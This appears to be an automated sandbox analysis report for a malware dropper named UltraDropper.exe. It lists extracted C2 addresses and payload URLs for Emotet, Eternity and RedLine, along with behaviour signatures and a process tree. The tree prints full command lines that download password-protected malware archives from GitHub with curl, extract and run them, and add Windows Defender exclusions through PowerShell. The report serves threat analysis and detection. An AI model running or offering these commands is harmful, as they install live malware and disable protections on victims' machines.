Analysis

  • max time kernel
    311s
  • max time network
    312s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    10-12-2024 13:38

General

  • Target

    UltraDropper.exe

  • Size

    2.1MB

  • MD5

    780a9d4a4fc574831e5c6e5e212c2ca6

  • SHA1

    8120325c5591b3195d9e126e66cf703ee5662b9c

  • SHA256

    204f9f28d1c120185e93efa3805acb021947b48c6164318f1c7cfca9d73277a8

  • SHA512

    4bea8e9c4c94f72c2a372d2132cd6f8bd8b803b73cec82e293ca65ebd22cdde481f6b8efc8e5793a918c7e604f5d2bb8503cb1405817da602dd5d46a7fc5f2d0

  • SSDEEP

    49152:sW2vZKbn0KJrgcvZ4dvTrRpjgYhNWue0CJAop:svZKrJ5vZ4drfgYOfF

Malware Config

Extracted

Family

eternity

C2

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Attributes
  • payload_urls

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/myupdate.exe

Extracted

Family

emotet

Botnet

Epoch5

C2

178.238.225.252:8080

139.196.72.155:8080

36.67.23.59:443

103.56.149.105:8080

37.44.244.177:8080

85.25.120.45:8080

202.134.4.210:7080

78.47.204.80:443

83.229.80.93:8080

93.104.209.107:8080

80.211.107.116:8080

165.22.254.236:8080

104.244.79.94:443

185.148.169.10:8080

190.145.8.4:443

175.126.176.79:8080

139.59.80.108:8080

188.165.79.151:443

128.199.217.206:443

64.227.55.231:8080

ecs1.plain
eck1.plain

Extracted

Family

redline

Botnet

@dsadasdasd1

C2

45.15.156.155:80

Attributes
  • auth_value

    e2637596f93702084676494f7e0c2dfd

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Emotet family
  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

  • Eternity family
  • Njrat family
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

  • Privateloader family
  • Process spawned unexpected child process 51 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Redline family
  • Windows security bypass 2 TTPs 3 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables RegEdit via registry modification 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 21 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 4 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 63 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe
    "C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6132
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1444
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4800
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5404
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1996
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5652
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:6072
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3272
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4072
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3200
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5968
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5432
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1172
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3124
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3360
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3672
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4956
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2408
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:660
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3916
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1884
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3904
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2524
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\njrat.zip" "https://github.com/ytisf/theZoo/blob/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\njrat.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3840
      • C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
        C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\njrat.zip" "https://github.com/ytisf/theZoo/blob/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip" --ssl-no-revoke
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:5188
      • C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
        "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\njrat.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1292
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3308
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:244
        • C:\Windows\system32\regsvr32.exe
          "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
          4⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:1756
          • C:\Windows\system32\regsvr32.exe
            C:\Windows\system32\regsvr32.exe "C:\Windows\system32\EOhexrHAkwSAwDLA\fmLv.dll"
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:5920
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4108
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Enumerates connected drives
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:5332
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4920
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1932
        • C:\WINDOWS\302746537.exe
          "C:\WINDOWS\302746537.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1724
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\362F.tmp\302746537.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4008
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\comctl32.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2016
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\mscomctl.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:5276
            • \??\c:\windows\antivirus-platinum.exe
              c:\windows\antivirus-platinum.exe
              6⤵
              • Windows security bypass
              • Disables RegEdit via registry modification
              • Executes dropped EXE
              • Loads dropped DLL
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Modifies Internet Explorer settings
              • Modifies Internet Explorer start page
              • Suspicious use of SetWindowsHookEx
              • System policy modification
              PID:2924
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h c:\windows\antivirus-platinum.exe
              6⤵
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:5500
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5540
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2484
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:5696
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4388
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe
        "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3408
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5632
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:336
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6036
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe
        "C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:332
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\winsessionnet\qmazbV2JlRldI.vbe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2956
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\winsessionnet\kudjk2JZBqNfIbV0H.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5172
            • C:\winsessionnet\PortwebSaves.exe
              "C:\winsessionnet\PortwebSaves.exe"
              6⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3684
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\PortwebSaves.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5112
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\unsecapp.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4072
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2124
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Local Settings\sppsvc.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5960
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\conhost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:3124
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\Registry.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5308
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:3968
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\setup.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4984
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\smss.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:404
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\PortwebSaves.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:4280
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\conhost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:1968
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\bcastdvr\RuntimeBroker.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5572
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5464
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\RuntimeBroker.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:5988
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'
